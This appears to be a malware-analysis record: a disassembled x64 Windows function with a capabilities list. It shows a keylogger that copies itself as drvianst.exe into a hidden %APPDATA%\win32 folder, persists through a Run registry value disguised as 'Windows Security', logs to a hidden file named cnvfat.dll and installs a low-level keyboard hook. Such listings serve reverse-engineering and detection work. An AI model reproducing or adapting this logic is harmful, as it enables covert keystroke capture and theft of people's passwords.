Function at 0x140001207
Capabilities:
Copy file
Create directory
Log keystrokes via application hook
Persist via run registry key
Query environment variable
Set file attributes
Set registry value

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400049b8]
call sub.KERNEL32.dll_GetPhysicallyInstalledSystemMemory
mov rdx, 0x20
lea rcx, [0x1400049b8]
mov r8, qword [rcx + 2]
cmp r8, rdx
jl 0x1400014f9
xor rcx, rcx
lea rdx, [0x140003097]
mov r8, 0x300
call sub.KERNEL32.dll_GetModuleFileNameA
lea r8, [0x140003397]
mov byte [r8], al
lea rdx, [0x140003097]
add rdx, rax
mov r8b, 0x5c
xor rcx, rcx
dec rdx
inc rcx
cmp byte [rdx], r8b
jne 0x140001262
lea r9, [0x140003498]
mov byte [r9], al
lea r8, [0x140003398]
mov al, byte [rdx]
mov byte [r8], al
inc rdx
inc r8
cmp byte [rdx], 0
jne 0x14000127e
lea rcx, str.Appdata
lea rdx, [0x1400034a1]
mov r8, 0x300
call sub.KERNEL32.dll_GetEnvironmentVariableA
lea r8, [0x1400034a1]
lea r9, [0x140004876]
sub r9, 2
add r8, 8
inc r8
inc r9
cmp al, 0x5c
je 0x1400012d0
mov byte [r9], al
mov al, byte [r8]
jmp 0x1400012be
lea rcx, [0x1400034a1]
lea rdx, [0x1400037a2]
mov al, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
cmp al, 0
jne 0x1400012de
lea rdx, str.win32
dec rcx
mov al, byte [rdx]
mov byte [rcx], al
inc rcx
inc rdx
cmp al, 0
jne 0x1400012f6
dec rcx
lea rdx, str.drvianst.exe
mov al, byte [rdx]
mov byte [rcx], al
inc rcx
inc rdx
cmp al, 0
jne 0x14000130e
lea rcx, [0x1400034a1]
lea rdx, [0x140003097]
mov al, byte [rdx]
mov bl, byte [rcx]
cmp al, 0
je 0x140001442
inc rdx
inc rcx
cmp al, bl
jne 0x140001342
jmp 0x14000132a
mov byte [0x140004a59], 1
lea rdx, [0x1400037a2]
inc rdx
mov al, byte [rdx]
cmp al, 0
jne 0x140001350
lea rcx, str.win32
mov al, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
cmp al, 0
jne 0x140001360
lea rcx, [0x1400037a2]
xor rdx, rdx
call sub.KERNEL32.dll_CreateDirectoryA
lea rcx, [0x1400037a2]
mov rdx, 6
call sub.KERNEL32.dll_SetFileAttributesA
lea rcx, [0x140003097]
lea rdx, [0x1400034a1]
xor r8, r8
call sub.KERNEL32.dll_CopyFileA
lea rcx, [0x1400034a1]
mov rdx, 6
call sub.KERNEL32.dll_SetFileAttributesA
movabs rcx, 0x80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor r8, r8
mov r9, 2
lea r10, [0x140003ad7]
mov qword [rsp + 0x20], r10
call sub.ADVAPI32.dll_RegOpenKeyExA
lea rdx, [0x1400034a1]
xor rcx, rcx
mov al, byte [rdx]
inc rcx
inc rdx
cmp al, 0
jne 0x1400013ef
lea rdx, [0x1400037a1]
mov word [rdx], cx
mov r13b, byte [0x1400037a1]
push r13
lea r13, [0x1400034a1]
push r13
sub rsp, 0x20
mov r9d, 1
lea rdx, str.Windows_Security
lea r8, [0x140003ad7]
mov ecx, dword [0x140003ad7]
xor r8, r8
call sub.ADVAPI32.dll_RegSetValueExA
call fcn.140001000
lea rcx, [0x1400037a2]
lea rdx, [0x140004524]
mov byte [rcx], 0x43
mov al, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
cmp al, 0
jne 0x140001453
lea rcx, str.cnvfat.dll
dec rdx
mov al, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
cmp al, 0
jne 0x14000146b
mov al, byte [0x140004a59]
cmp al, 1
je 0x140001488
call fcn.140001092
xor rax, rax
push rax
mov rax, 6
push rax
mov rax, 4
push rax
sub rsp, 0x20
xor r9, r9
mov r8, 7
mov rdx, 0x10000000
lea rcx, [0x140004524]
call sub.KERNEL32.dll_CreateFileA
lea r9, [0x14000483e]
mov qword [r9], rax
mov r9, rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001201]
xor ecx, ecx
mov cl, 0xd
call sub.USER32.dll_SetWindowsHookExA
call fcn.140001000
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003af0]
call sub.USER32.dll_GetMessageA
xor rcx, rcx
call sub.KERNEL32.dll_ExitProcess
int3